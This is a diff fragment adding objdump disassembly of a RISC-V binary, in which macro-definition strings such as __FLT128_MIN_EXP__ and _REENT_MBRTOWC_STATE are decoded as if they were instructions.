+    1480:	5954                	lw	a3,52(a0)
+    1482:	4550                	lw	a2,12(a0)
+    1484:	5f5f 6c20 6e6f      	0x6e6f6c205f5f
+    148a:	6f6c2067          	0x6f6c2067
+    148e:	676e                	flw	fa4,216(sp)
+    1490:	7520                	flw	fs0,104(a0)
+    1492:	736e                	flw	ft6,248(sp)
+    1494:	6769                	lui	a4,0x1a
+    1496:	656e                	flw	fa0,216(sp)
+    1498:	2064                	fld	fs1,192(s0)
+    149a:	6e69                	lui	t3,0x1a
+    149c:	0074                	addi	a3,sp,12
+    149e:	5f5f 4c46 3154      	0x31544c465f5f
+    14a4:	3832                	fld	fa6,296(sp)
+    14a6:	4d5f 4e49 455f      	0x455f4e494d5f
+    14ac:	5058                	lw	a4,36(s0)
+    14ae:	5f5f 2820 312d      	0x312d28205f5f
+    14b4:	3336                	fld	ft6,360(sp)
+    14b6:	3138                	fld	fa4,96(a0)
+    14b8:	0029                	c.nop	10
+    14ba:	5f5f 5453 4344      	0x434454535f5f
+    14c0:	555f 4654 335f      	0x335f4654555f
+    14c6:	5f32                	lw	t5,44(sp)
+    14c8:	205f 0031 5f5f      	0x5f5f0031205f
+    14ce:	4e49                	li	t3,18
+    14d0:	5f54                	lw	a3,60(a4)
+    14d2:	454c                	lw	a1,12(a0)
+    14d4:	5341                	li	t1,-16
+    14d6:	3154                	fld	fa3,160(a0)
+    14d8:	5f36                	lw	t5,108(sp)
+    14da:	414d                	li	sp,19
+    14dc:	5f58                	lw	a4,60(a4)
+    14de:	205f 7830 6637      	0x66377830205f
+    14e4:	6666                	flw	fa2,88(sp)
+    14e6:	5f00                	lw	s0,56(a4)
+    14e8:	4c5f 434f 5f4b      	0x5f4b434f4c5f
+    14ee:	4e49                	li	t3,18
+    14f0:	5449                	li	s0,-14
+    14f2:	525f 4345 5255      	0x52554345525f
+    14f8:	45564953          	0x45564953
+    14fc:	6328                	flw	fa0,64(a4)
+    14fe:	616c                	flw	fa1,68(a0)
+    1500:	6c2c7373          	csrrci	t1,0x6c2,24
+    1504:	296b636f          	jal	t1,b779a <__stack_size+0xb6f9a>
+    1508:	7320                	flw	fs0,96(a4)
+    150a:	6174                	flw	fa3,68(a0)
+    150c:	6974                	flw	fa3,84(a0)
+    150e:	6e692063          	0x6e692063
+    1512:	2074                	fld	fa3,192(s0)
+    1514:	6f6c                	flw	fa1,92(a4)
+    1516:	3d206b63          	bltu	zero,s2,18ec <__stack_size+0x10ec>
+    151a:	3020                	fld	fs0,96(s0)
+    151c:	4d5f003b          	0x4d5f003b
+    1520:	4341                	li	t1,16
+    1522:	5348                	lw	a0,36(a4)
+    1524:	4454                	lw	a3,12(s0)
+    1526:	494c                	lw	a1,20(a0)
+    1528:	5f42                	lw	t5,48(sp)
+    152a:	5f48                	lw	a0,60(a4)
+    152c:	0020                	addi	s0,sp,8
+    152e:	535f 5359 535f      	0x535f5359535f
+    1534:	4154                	lw	a3,4(a0)
+    1536:	5f54                	lw	a3,60(a4)
+    1538:	2048                	fld	fa0,128(s0)
+    153a:	5300                	lw	s0,32(a4)
+    153c:	495f 4758 5052      	0x50524758495f
+    1542:	3020                	fld	fs0,96(s0)
+    1544:	3030                	fld	fa2,96(s0)
+    1546:	3030                	fld	fa2,96(s0)
+    1548:	3031                	jal	d54 <__stack_size+0x554>
+    154a:	5f00                	lw	s0,56(a4)
+    154c:	535f4353          	0x535f4353
+    1550:	4d45                	li	s10,17
+    1552:	565f 4c41 4555      	0x45554c41565f
+    1558:	4d5f 5841 3120      	0x312058414d5f
+    155e:	475f0037          	lui	zero,0x475f0
+    1562:	4e5f4343          	fmadd.q	ft6,ft10,ft5,fs1,rmm
+    1566:	5845                	li	a6,-15
+    1568:	5f54                	lw	a3,60(a4)
+    156a:	494c                	lw	a1,20(a0)
+    156c:	494d                	li	s2,19
+    156e:	5354                	lw	a3,36(a4)
+    1570:	485f 5f00 4e41      	0x4e415f00485f
+    1576:	45444953          	0x45444953
+    157a:	485f4c43          	fmadd.s	fs8,ft10,ft5,fs1,rmm
+    157e:	205f 5f00 555f      	0x555f5f00205f
+    1584:	4e49                	li	t3,18
+    1586:	3154                	fld	fa3,160(a0)
+    1588:	5f36                	lw	t5,108(sp)
+    158a:	5954                	lw	a3,52(a0)
+    158c:	4550                	lw	a2,12(a0)
+    158e:	5f5f 7320 6f68      	0x6f6873205f5f
+    1594:	7472                	flw	fs0,60(sp)
+    1596:	7520                	flw	fs0,104(a0)
+    1598:	736e                	flw	ft6,248(sp)
+    159a:	6769                	lui	a4,0x1a
+    159c:	656e                	flw	fa0,216(sp)
+    159e:	2064                	fld	fs1,192(s0)
+    15a0:	6e69                	lui	t3,0x1a
+    15a2:	0074                	addi	a3,sp,12
+    15a4:	535f 5f43 4152      	0x41525f43535f
+    15aa:	4f535f57          	0x4f535f57
+    15ae:	54454b43          	0x54454b43
+    15b2:	30372053          	0x30372053
+    15b6:	7300                	flw	fs0,32(a4)
+    15b8:	6474                	flw	fa3,76(s0)
+    15ba:	2074756f          	jal	a0,48fc0 <__stack_size+0x487c0>
+    15be:	5f28                	lw	a0,120(a4)
+    15c0:	4552                	lw	a0,20(sp)
+    15c2:	4e45                	li	t3,17
+    15c4:	2d54                	fld	fa3,152(a0)
+    15c6:	5f3e                	lw	t5,236(sp)
+    15c8:	6f647473          	csrrci	s0,0x6f6,8
+    15cc:	7475                	lui	s0,0xffffd
+    15ce:	0029                	c.nop	10
+    15d0:	5f5f 5845 0050      	0x5058455f5f
+    15d6:	5a4d                	li	s4,-13
+    15d8:	5f454e4f          	fnmadd.q	ft8,fa0,fs4,fa1,rmm
+    15dc:	4441                	li	s0,16
+    15de:	4954                	lw	a3,20(a0)
+    15e0:	454d                	li	a0,19
+    15e2:	28504d43          	fmadd.s	fs10,ft0,ft5,ft5,rmm
+    15e6:	6176                	flw	ft2,92(sp)
+    15e8:	296c                	fld	fa1,208(a0)
+    15ea:	6120                	flw	fs0,64(a0)
+    15ec:	76206d73          	csrrsi	s10,0x762,0
+    15f0:	74616c6f          	jal	s8,17d36 <__stack_size+0x17536>
+    15f4:	6c69                	lui	s8,0x1a
+    15f6:	2065                	jal	169e <__stack_size+0xe9e>
+    15f8:	2028                	fld	fa0,64(s0)
+    15fa:	6d22                	flw	fs10,8(sp)
+    15fc:	2076                	fld	ft0,344(sp)
+    15fe:	3161                	jal	1286 <__stack_size+0xa86>
+    1600:	202c                	fld	fa1,64(s0)
+    1602:	3025                	jal	e2a <__stack_size+0x62a>
+    1604:	766d203b          	0x766d203b
+    1608:	6120                	flw	fs0,64(a0)
+    160a:	2c32                	fld	fs8,264(sp)
+    160c:	2520                	fld	fs0,72(a0)
+    160e:	3b31                	jal	132a <__stack_size+0xb2a>
+    1610:	2022                	fld	ft0,8(sp)
+    1612:	6c22                	flw	fs8,8(sp)
+    1614:	2069                	jal	169e <__stack_size+0xe9e>
+    1616:	3061                	jal	e9e <__stack_size+0x69e>
+    1618:	202c                	fld	fa1,64(s0)
+    161a:	20223b37          	lui	s6,0x20223
+    161e:	7a6d                	lui	s4,0xffffb
+    1620:	20656e6f          	jal	t3,57826 <__stack_size+0x57026>
+    1624:	203a                	fld	ft0,392(sp)
+    1626:	203a                	fld	ft0,392(sp)
+    1628:	7222                	flw	ft4,40(sp)
+    162a:	2822                	fld	fa6,8(sp)
+    162c:	7528                	flw	fa0,104(a0)
+    162e:	6e69                	lui	t3,0x1a
+    1630:	3374                	fld	fa3,224(a4)
+    1632:	5f32                	lw	t5,44(sp)
+    1634:	2974                	fld	fa3,208(a0)
+    1636:	6176                	flw	ft2,92(sp)
+    1638:	296c                	fld	fa1,208(a0)
+    163a:	202c                	fld	fa1,64(s0)
+    163c:	7222                	flw	ft4,40(sp)
+    163e:	2822                	fld	fa6,8(sp)
+    1640:	7528                	flw	fa0,104(a0)
+    1642:	6e69                	lui	t3,0x1a
+    1644:	3374                	fld	fa3,224(a4)
+    1646:	5f32                	lw	t5,44(sp)
+    1648:	2974                	fld	fa3,208(a0)
+    164a:	2828                	fld	fa0,80(s0)
+    164c:	6975                	lui	s2,0x1d
+    164e:	746e                	flw	fs0,248(sp)
+    1650:	3436                	fld	fs0,360(sp)
+    1652:	745f 7629 6c61      	0x6c617629745f
+    1658:	3e3e                	fld	ft8,488(sp)
+    165a:	29293233          	0x29293233
+    165e:	3a20                	fld	fs0,112(a2)
+    1660:	2220                	fld	fs0,64(a2)
+    1662:	3061                	jal	eea <__stack_size+0x6ea>
+    1664:	2c22                	fld	fs8,8(sp)
+    1666:	2220                	fld	fs0,64(a2)
+    1668:	3161                	jal	12f0 <__stack_size+0xaf0>
+    166a:	2c22                	fld	fs8,8(sp)
+    166c:	2220                	fld	fs0,64(a2)
+    166e:	3261                	jal	ff6 <__stack_size+0x7f6>
+    1670:	2022                	fld	ft0,8(sp)
+    1672:	3b29                	jal	138c <__stack_size+0xb8c>
+    1674:	4c00                	lw	s0,24(s0)
+    1676:	4f4c                	lw	a1,28(a4)
+    1678:	474e                	lw	a4,208(sp)
+    167a:	4d5f 4e49 2820      	0x28204e494d5f
+    1680:	4c2d                	li	s8,11
+    1682:	4f4c                	lw	a1,28(a4)
+    1684:	474e                	lw	a4,208(sp)
+    1686:	4d5f 5841 2d20      	0x2d2058414d5f
+    168c:	3120                	fld	fs0,96(a0)
+    168e:	4c4c                	lw	a1,28(s0)
+    1690:	0029                	c.nop	10
+    1692:	5441                	li	s0,-16
+    1694:	535f 4d59 494c      	0x494c4d59535f
+    169a:	4b4e                	lw	s6,208(sp)
+    169c:	465f 4c4f 4f4c      	0x4f4c4c4f465f
+    16a2:	00342057          	0x342057
+    16a6:	535f 5f43 4c43      	0x4c435f43535f
+    16ac:	5f4b434f          	fnmadd.q	ft6,fs6,fs4,fa1,rmm
+    16b0:	454c4553          	0x454c4553
+    16b4:	4f495443          	fmadd.q	fs0,fs2,fs4,fs1,unknown
+    16b8:	204e                	fld	ft0,208(sp)
+    16ba:	3136                	fld	ft2,360(sp)
+    16bc:	5f00                	lw	s0,56(a4)
+    16be:	5f54                	lw	a3,60(a4)
+    16c0:	455a4953          	0x455a4953
+    16c4:	205f 5f00 495f      	0x495f5f00205f
+    16ca:	435f4f53          	0x435f4f53
+    16ce:	565f 5349 4249      	0x42495349565f
+    16d4:	454c                	lw	a1,12(a0)
+    16d6:	3220                	fld	fs0,96(a2)
+    16d8:	3130                	fld	fa2,96(a0)
+    16da:	0031                	c.nop	12
+    16dc:	545f 4d49 5f45      	0x5f454d49545f
+    16e2:	5f54                	lw	a3,60(a4)
+    16e4:	4544                	lw	s1,12(a0)
+    16e6:	52414c43          	fmadd.d	fs8,ft2,ft4,fa0,rmm
+    16ea:	4445                	li	s0,17
+    16ec:	0020                	addi	s0,sp,8
+    16ee:	535f 4749 4553      	0x45534749535f
+    16f4:	5f54                	lw	a3,60(a4)
+    16f6:	5f54                	lw	a3,60(a4)
+    16f8:	4544                	lw	s1,12(a0)
+    16fa:	52414c43          	fmadd.d	fs8,ft2,ft4,fa0,rmm
+    16fe:	4445                	li	s0,17
+    1700:	0020                	addi	s0,sp,8
+    1702:	5f5f 7865 6f70      	0x6f7078655f5f
+    1708:	7472                	flw	fs0,60(sp)
+    170a:	6465                	lui	s0,0x19
+    170c:	5f20                	lw	s0,120(a4)
+    170e:	615f 7474 6972      	0x69727474615f
+    1714:	7562                	flw	fa0,56(sp)
+    1716:	6574                	flw	fa3,76(a0)
+    1718:	5f5f 2828 5f5f      	0x5f5f28285f5f
+    171e:	6976                	flw	fs2,92(sp)
+    1720:	69626973          	csrrsi	s2,0x696,4
+    1724:	696c                	flw	fa1,84(a0)
+    1726:	7974                	flw	fa3,116(a0)
+    1728:	5f5f 2228 6564      	0x656422285f5f
+    172e:	6166                	flw	ft2,88(sp)
+    1730:	6c75                	lui	s8,0x1d
+    1732:	2274                	fld	fa3,192(a2)
+    1734:	2929                	jal	1b4e <__stack_size+0x134e>
+    1736:	0029                	c.nop	10
+    1738:	5f5f 4c46 3354      	0x33544c465f5f
+    173e:	5832                	lw	a6,44(sp)
+    1740:	455f 5350 4c49      	0x4c495350455f
+    1746:	5f5f4e4f          	fnmadd.q	ft8,ft10,fs5,fa1,rmm
+    174a:	3220                	fld	fs0,96(a2)
+    174c:	322e                	fld	ft4,232(sp)
+    174e:	3032                	fld	ft0,296(sp)
+    1750:	3434                	fld	fa3,104(s0)
+    1752:	3036                	fld	ft0,360(sp)
+    1754:	3934                	fld	fa3,112(a0)
+    1756:	3532                	fld	fa0,296(sp)
+    1758:	3330                	fld	fa2,96(a4)
+    175a:	3331                	jal	1466 <__stack_size+0xc66>
+    175c:	3830                	fld	fa2,112(s0)
+    175e:	3830                	fld	fa2,112(s0)
+    1760:	3734                	fld	fa3,104(a4)
+    1762:	3632                	fld	fa2,296(sp)
+    1764:	36333333          	0x36333333
+    1768:	3831                	jal	f84 <__stack_size+0x784>
+    176a:	3631                	jal	1276 <__stack_size+0xa76>
+    176c:	3034                	fld	fa3,96(s0)
+    176e:	3236                	fld	ft4,360(sp)
+    1770:	2d65                	jal	1e28 <__stack_size+0x1628>
+    1772:	3631                	jal	127e <__stack_size+0xa7e>
+    1774:	3346                	fld	ft6,112(sp)
+    1776:	7832                	flw	fa6,44(sp)
+    1778:	5f00                	lw	s0,56(a4)
+    177a:	465f 544c 3233      	0x3233544c465f
+    1780:	5f58                	lw	a4,60(a4)
+    1782:	4148                	lw	a0,4(a0)
+    1784:	4e495f53          	0x4e495f53
+    1788:	4946                	lw	s2,80(sp)
+    178a:	494e                	lw	s2,208(sp)
+    178c:	5954                	lw	a3,52(a0)
+    178e:	5f5f 3120 5f00      	0x5f0031205f5f
+    1794:	5441                	li	s0,-16
+    1796:	5845                	li	a6,-15
+    1798:	5449                	li	s0,-14
+    179a:	535f 5a49 2045      	0x20455a49535f
+    17a0:	5f003233          	0x5f003233
+    17a4:	325f4353          	0x325f4353
+    17a8:	505f 5342 4c5f      	0x4c5f5342505f
+    17ae:	5441434f          	0x5441434f
+    17b2:	2045                	jal	1852 <__stack_size+0x1052>
+    17b4:	3131                	jal	13c0 <__stack_size+0xbc0>
+    17b6:	0036                	c.slli	zero,0xd
+    17b8:	53525343          	fmadd.d	ft6,ft4,fs5,fa0,unknown
+    17bc:	6328                	flw	fa0,64(a4)
+    17be:	722c7273          	csrrci	tp,0x722,24
+    17c2:	28202973          	csrr	s2,0x282
+    17c6:	6e75207b          	0x6e75207b
+    17ca:	6e676973          	csrrsi	s2,0x6e6,14
+    17ce:	6465                	lui	s0,0x19
+    17d0:	6c20                	flw	fs0,88(s0)
+    17d2:	20676e6f          	jal	t3,779d8 <__stack_size+0x771d8>
+    17d6:	6472                	flw	fs0,28(sp)
+    17d8:	6669203b          	0x6669203b
+    17dc:	2820                	fld	fs0,80(s0)
+    17de:	5f5f 7562 6c69      	0x6c6975625f5f
+    17e4:	6974                	flw	fa3,84(a0)
+    17e6:	5f6e                	lw	t5,248(sp)
+    17e8:	736e6f63          	bltu	t3,s6,1f26 <__stack_size+0x1726>
+    17ec:	6174                	flw	fa3,68(a0)
+    17ee:	746e                	flw	fs0,248(sp)
+    17f0:	705f 7228 2973      	0x29737228705f
+    17f6:	2620                	fld	fs0,72(a2)
+    17f8:	2026                	fld	ft0,72(sp)
+    17fa:	7528                	flw	fa0,104(a0)
+    17fc:	736e                	flw	ft6,248(sp)
+    17fe:	6769                	lui	a4,0x1a
+    1800:	656e                	flw	fa0,216(sp)
+    1802:	2064                	fld	fs1,192(s0)
+    1804:	6f6c                	flw	fa1,92(a4)
+    1806:	676e                	flw	fa4,216(sp)
+    1808:	2829                	jal	1822 <__stack_size+0x1022>
+    180a:	7372                	flw	ft6,60(sp)
+    180c:	2029                	jal	1816 <__stack_size+0x1016>
+    180e:	203c                	fld	fa5,64(s0)
+    1810:	20293233          	0x20293233
+    1814:	7361                	lui	t1,0xffff8
+    1816:	206d                	jal	18c0 <__stack_size+0x10c0>
+    1818:	6f76                	flw	ft10,92(sp)
+    181a:	616c                	flw	fa1,68(a0)
+    181c:	6974                	flw	fa3,84(a0)
+    181e:	656c                	flw	fa1,76(a0)
+    1820:	2820                	fld	fs0,80(s0)
+    1822:	6322                	flw	ft6,8(sp)
+    1824:	73727273          	csrrci	tp,0x737,4
+    1828:	2069                	jal	18b2 <__stack_size+0x10b2>
+    182a:	3025                	jal	1052 <__stack_size+0x852>
+    182c:	202c                	fld	fa1,64(s0)
+    182e:	2022                	fld	ft0,8(sp)
+    1830:	72736323          	0x72736323
+    1834:	2220                	fld	fs0,64(a2)
+    1836:	202c                	fld	fa1,64(s0)
+    1838:	3125                	jal	1460 <__stack_size+0xc60>
+    183a:	2022                	fld	ft0,8(sp)
+    183c:	203a                	fld	ft0,392(sp)
+    183e:	3d22                	fld	fs10,40(sp)
+    1840:	2272                	fld	ft4,280(sp)
+    1842:	7228                	flw	fa0,96(a2)
+    1844:	2964                	fld	fs1,208(a0)
+    1846:	3a20                	fld	fs0,112(a2)
+    1848:	2220                	fld	fs0,64(a2)
+    184a:	7228224b          	fnmsub.d	ft4,fa6,ft2,fa4,rdn
+    184e:	3b292973          	csrrs	s2,pmpaddr2,s2
+    1852:	6520                	flw	fs0,72(a0)
+    1854:	736c                	flw	fa1,100(a4)
+    1856:	2065                	jal	18fe <__stack_size+0x10fe>
+    1858:	7361                	lui	t1,0xffff8
+    185a:	206d                	jal	1904 <__stack_size+0x1104>
+    185c:	6f76                	flw	ft10,92(sp)
+    185e:	616c                	flw	fa1,68(a0)
+    1860:	6974                	flw	fa3,84(a0)
+    1862:	656c                	flw	fa1,76(a0)
+    1864:	2820                	fld	fs0,80(s0)
+    1866:	6322                	flw	ft6,8(sp)
+    1868:	73727273          	csrrci	tp,0x737,4
+    186c:	2520                	fld	fs0,72(a0)
+    186e:	2c30                	fld	fa2,88(s0)
+    1870:	2220                	fld	fs0,64(a2)
+    1872:	2320                	fld	fs0,64(a4)
+    1874:	20727363          	bgeu	tp,t2,1a7a <__stack_size+0x127a>
+    1878:	2c22                	fld	fs8,8(sp)
+    187a:	2520                	fld	fs0,72(a0)
+    187c:	2231                	jal	1988 <__stack_size+0x1188>
+    187e:	3a20                	fld	fs0,112(a2)
+    1880:	2220                	fld	fs0,64(a2)
+    1882:	723d                	lui	tp,0xfffef
+    1884:	2822                	fld	fa6,8(sp)
+    1886:	6472                	flw	fs0,28(sp)
+    1888:	2029                	jal	1892 <__stack_size+0x1092>
+    188a:	203a                	fld	ft0,392(sp)
+    188c:	7222                	flw	ft4,40(sp)
+    188e:	2822                	fld	fa6,8(sp)
+    1890:	7372                	flw	ft6,60(sp)
+    1892:	2929                	jal	1cac <__stack_size+0x14ac>
+    1894:	6472203b          	0x6472203b
+    1898:	297d203b          	0x297d203b
+    189c:	5000                	lw	s0,32(s0)
+    189e:	494c                	lw	a1,20(a0)
+    18a0:	48545f43          	fmadd.s	ft10,fs0,ft5,fs1,unknown
+    18a4:	4552                	lw	a0,20(sp)
+    18a6:	464f5f53          	0x464f5f53
+    18aa:	5346                	lw	t1,112(sp)
+    18ac:	5445                	li	s0,-15
+    18ae:	3020                	fld	fs0,96(s0)
+    18b0:	3278                	fld	fa4,224(a2)
+    18b2:	3030                	fld	fa2,96(s0)
+    18b4:	3030                	fld	fa2,96(s0)
+    18b6:	0030                	addi	a2,sp,8
+    18b8:	5450                	lw	a2,44(s0)
+    18ba:	4452                	lw	s0,20(sp)
+    18bc:	4649                	li	a2,18
+    18be:	5f46                	lw	t5,112(sp)
+    18c0:	414d                	li	sp,19
+    18c2:	0058                	addi	a4,sp,4
+    18c4:	4f4c                	lw	a1,28(a4)
+    18c6:	474e                	lw	a4,208(sp)
+    18c8:	4c5f 4e4f 5f47      	0x5f474e4f4c5f
+    18ce:	414d                	li	sp,19
+    18d0:	2058                	fld	fa4,128(s0)
+    18d2:	5f5f 4f4c 474e      	0x474e4f4c5f5f
+    18d8:	4c5f 4e4f 5f47      	0x5f474e4f4c5f
+    18de:	414d                	li	sp,19
+    18e0:	5f58                	lw	a4,60(a4)
+    18e2:	005f 5f5f 4e49      	0x4e495f5f005f
+    18e8:	3854                	fld	fa3,176(s0)
+    18ea:	435f 6328 2029      	0x20296328435f
+    18f0:	435f0063          	beq	t5,s5,1d10 <__stack_size+0x1510>
+    18f4:	4f4c                	lw	a1,28(a4)
+    18f6:	5f534b43          	fmadd.q	fs6,ft6,fs5,fa1,rmm
+    18fa:	4550                	lw	a2,12(a0)
+    18fc:	5f52                	lw	t5,52(sp)
+    18fe:	5f434553          	0x5f434553
+    1902:	3120                	fld	fs0,96(a0)
+    1904:	3030                	fld	fa2,96(s0)
+    1906:	3030                	fld	fa2,96(s0)
+    1908:	3030                	fld	fa2,96(s0)
+    190a:	5f00                	lw	s0,56(a4)
+    190c:	4552                	lw	a0,20(sp)
+    190e:	4e45                	li	t3,17
+    1910:	5f54                	lw	a3,60(a4)
+    1912:	424d                	li	tp,19
+    1914:	5452                	lw	s0,52(sp)
+    1916:	5f43574f          	fnmadd.q	fa4,ft6,fs4,fa1,unknown
+    191a:	54415453          	0x54415453
+    191e:	2845                	jal	19ce <__stack_size+0x11ce>
+    1920:	7470                	flw	fa2,108(s0)
+    1922:	2972                	fld	fs2,280(sp)
+    1924:	2820                	fld	fs0,80(s0)
+    1926:	7028                	flw	fa0,96(s0)
+    1928:	7274                	flw	fa3,100(a2)
+    192a:	2d29                	jal	1f44 <__stack_size+0x1744>
+    192c:	5f3e                	lw	t5,236(sp)
+    192e:	656e                	flw	fa0,216(sp)
+    1930:	725f2e77          	0x725f2e77
+    1934:	6565                	lui	a0,0x19
+    1936:	746e                	flw	fs0,248(sp)
+    1938:	5f2e                	lw	t5,232(sp)
+    193a:	626d                	lui	tp,0x1b
+    193c:	7472                	flw	fs0,60(sp)
+    193e:	5f63776f          	jal	a4,38f34 <__stack_size+0x38734>
+    1942:	74617473          	csrrci	s0,0x746,2
+    1946:	2965                	jal	1dfe <__stack_size+0x15fe>
+    1948:	5f00                	lw	s0,56(a4)
+    194a:	4c5f 4244 5f4c      	0x5f4c42444c5f
+    1950:	4544                	lw	s1,12(a0)
+    1952:	414d4943          	fmadd.s	fs2,fs10,fs4,fs0,rmm
+    1956:	5f4c                	lw	a1,60(a4)
+    1958:	4944                	lw	s1,20(a0)
+    195a:	205f5f47          	fmsub.s	ft10,ft10,ft5,ft4,unknown
+    195e:	53003633          	0x53003633
+    1962:	44454843          	0x44454843
+    1966:	525f 2052 0032      	0x322052525f
+    196c:	5f5f 7270 6e69      	0x6e6972705f5f
+    1972:	6674                	flw	fa3,76(a2)
+    1974:	6c30                	flw	fa2,88(s0)
+    1976:	6b69                	lui	s6,0x1a
+    1978:	2865                	jal	1a30 <__stack_size+0x1230>
+    197a:	6d66                	flw	fs10,88(sp)
+    197c:	6174                	flw	fa3,68(a0)
+    197e:	6772                	flw	fa4,28(sp)
+    1980:	662c                	flw	fa1,72(a2)
+    1982:	7269                	lui	tp,0xffffa
+    1984:	61767473          	csrrci	s0,0x617,12
+    1988:	6172                	flw	ft2,28(sp)
+    198a:	6772                	flw	fa4,28(sp)
+    198c:	2029                	jal	1996 <__stack_size+0x1196>
+    198e:	4c00                	lw	s0,24(s0)
+    1990:	745f 706d 616e      	0x616e706d745f
+    1996:	206d                	jal	1a40 <__stack_size+0x1240>
+    1998:	4946                	lw	s2,80(sp)
+    199a:	454c                	lw	a1,12(a0)
+    199c:	414e                	lw	sp,208(sp)
+    199e:	454d                	li	a0,19
+    19a0:	4d5f 5841 5f00      	0x5f0058414d5f
+    19a6:	585f4353          	0x585f4353
+    19aa:	5342                	lw	t1,48(sp)
+    19ac:	5f35                	li	t5,-19
+    19ae:	4c49                	li	s8,18
+    19b0:	3350                	fld	fa2,160(a4)
+    19b2:	5f32                	lw	t5,44(sp)
+    19b4:	3346464f          	fnmadd.d	fa2,fa2,fs4,ft6,rmm
+    19b8:	2032                	fld	ft0,264(sp)
+    19ba:	535f 5f43 3756      	0x37565f43535f
+    19c0:	495f 504c 3233      	0x3233504c495f
+    19c6:	4f5f 4646 3233      	0x323346464f5f
+    19cc:	4900                	lw	s0,16(a0)
+    19ce:	544e                	lw	s0,240(sp)
+    19d0:	4c5f 4145 5453      	0x545341454c5f
+    19d6:	5f38                	lw	a4,120(a4)
+    19d8:	414d                	li	sp,19
+    19da:	2058                	fld	fa4,128(s0)
+    19dc:	5f5f 4e49 5f54      	0x5f544e495f5f
+    19e2:	454c                	lw	a1,12(a0)
+    19e4:	5341                	li	t1,-16
+    19e6:	3854                	fld	fa3,176(s0)
+    19e8:	4d5f 5841 5f5f      	0x5f5f58414d5f
+    19ee:	5f00                	lw	s0,56(a4)
+    19f0:	495f 4545 5f45      	0x5f454545495f
+    19f6:	494c                	lw	a1,20(a0)
+    19f8:	5454                	lw	a3,44(s0)
+    19fa:	454c                	lw	a1,12(a0)
+    19fc:	455f 444e 4149      	0x4149444e455f
+    1a02:	204e                	fld	ft0,208(sp)
+    1a04:	5f00                	lw	s0,56(a4)
+    1a06:	465f 544c 4d5f      	0x4d5f544c465f
+    1a0c:	5841                	li	a6,-16
+    1a0e:	455f 5058 5f5f      	0x5f5f5058455f
+    1a14:	3120                	fld	fs0,96(a0)
+    1a16:	3832                	fld	fa6,296(sp)
+    1a18:	4700                	lw	s0,8(a4)
+    1a1a:	4950                	lw	a2,20(a0)
+    1a1c:	4f495f4f          	fnmadd.q	ft10,fs2,fs4,fs1,unknown
+    1a20:	5f46                	lw	t5,112(sp)
+    1a22:	4e45                	li	t3,17
+    1a24:	3020                	fld	fs0,96(s0)
+    1a26:	3378                	fld	fa4,224(a4)
+    1a28:	0038                	addi	a4,sp,8
+    1a2a:	5f5f 6f6c 6b63      	0x6b636f6c5f5f
+    1a30:	745f 7972 615f      	0x615f7972745f
+    1a36:	69757163          	bgeu	a0,s7,20b8 <__stack_size+0x18b8>
+    1a3a:	6572                	flw	fa0,28(sp)
+    1a3c:	725f 6365 7275      	0x72756365725f
+    1a42:	65766973          	csrrsi	s2,0x657,12
+    1a46:	6c28                	flw	fa0,88(s0)
+    1a48:	296b636f          	jal	t1,b7cde <__stack_size+0xb74de>
+    1a4c:	2820                	fld	fs0,80(s0)
+    1a4e:	7628                	flw	fa0,104(a2)
+    1a50:	2964696f          	jal	s2,47ce6 <__stack_size+0x474e6>
+    1a54:	3020                	fld	fs0,96(s0)
+    1a56:	0029                	c.nop	10
+    1a58:	5f5f 4343 535f      	0x535f43435f5f
+    1a5e:	5055                	c.li	zero,-11
+    1a60:	4f50                	lw	a2,28(a4)
+    1a62:	5452                	lw	s0,52(sp)
+    1a64:	5f5f5f53          	0x5f5f5f53
+    1a68:	4e49                	li	t3,18
+    1a6a:	494c                	lw	a1,20(a0)
+    1a6c:	454e                	lw	a0,208(sp)
+    1a6e:	3120                	fld	fs0,96(a0)
+    1a70:	5f00                	lw	s0,56(a4)
+    1a72:	415f 4f54 494d      	0x494d4f54415f
+    1a78:	45535f43          	0x45535f43
+    1a7c:	5f51                	li	t5,-12
+    1a7e:	20545343          	fmadd.s	ft6,fs0,ft5,ft4,unknown
+    1a82:	0035                	c.nop	13
+    1a84:	5f5f 6972 6373      	0x637369725f5f
+    1a8a:	5f76                	lw	t5,124(sp)
+    1a8c:	6964                	flw	fs1,84(a0)
+    1a8e:	2076                	fld	ft0,344(sp)
+    1a90:	0031                	c.nop	12
+    1a92:	5f5f 6f6c 6b63      	0x6b636f6c5f5f
+    1a98:	635f 6f6c 6573      	0x65736f6c635f
+    1a9e:	725f 6365 7275      	0x72756365725f
+    1aa4:	65766973          	csrrsi	s2,0x657,12
+    1aa8:	6c28                	flw	fa0,88(s0)
+    1aaa:	296b636f          	jal	t1,b7d40 <__stack_size+0xb7540>
+    1aae:	2820                	fld	fs0,80(s0)
+    1ab0:	7628                	flw	fa0,104(a2)
+    1ab2:	2964696f          	jal	s2,47d48 <__stack_size+0x47548>
+    1ab6:	3020                	fld	fs0,96(s0)
+    1ab8:	0029                	c.nop	10
+    1aba:	525f 4545 544e      	0x544e4545525f
+    1ac0:	435f 4548 4b43      	0x4b434548435f
+    1ac6:	535f 4749 414e      	0x414e4749535f
+    1acc:	5f4c                	lw	a1,60(a4)
+    1ace:	5542                	lw	a0,48(sp)
+    1ad0:	2846                	fld	fa6,80(sp)
+    1ad2:	7470                	flw	fa2,108(s0)
+    1ad4:	2972                	fld	fs2,280(sp)
+    1ad6:	0020                	addi	s0,sp,8
+    1ad8:	4342                	lw	t1,16(sp)
+    1ada:	425f 5341 5f45      	0x5f455341425f
+    1ae0:	414d                	li	sp,19
+    1ae2:	2058                	fld	fa4,128(s0)
+    1ae4:	3939                	jal	1702 <__stack_size+0xf02>
+    1ae6:	5f00                	lw	s0,56(a4)
+    1ae8:	465f 544c 3233      	0x3233544c465f
+    1aee:	5f58                	lw	a4,60(a4)
+    1af0:	414d                	li	sp,19
+    1af2:	5f58                	lw	a4,60(a4)
+    1af4:	5845                	li	a6,-15
+    1af6:	5f50                	lw	a2,60(a4)
+    1af8:	205f 3031 3432      	0x34323031205f
+    1afe:	7300                	flw	fs0,32(a4)
+    1b00:	5f74                	lw	a3,124(a4)
+    1b02:	6d697463          	bgeu	s2,s6,21ca <__stack_size+0x19ca>
+    1b06:	2065                	jal	1bae <__stack_size+0x13ae>
+    1b08:	635f7473          	csrrci	s0,0x635,30
+    1b0c:	6974                	flw	fa3,84(a0)
+    1b0e:	2e6d                	jal	1ec8 <__stack_size+0x16c8>
+    1b10:	7674                	flw	fa3,108(a2)
+    1b12:	735f 6365 5f00      	0x5f006365735f
+    1b18:	465f 544c 3233      	0x3233544c465f
+    1b1e:	4d5f 4e41 5f54      	0x5f544e414d5f
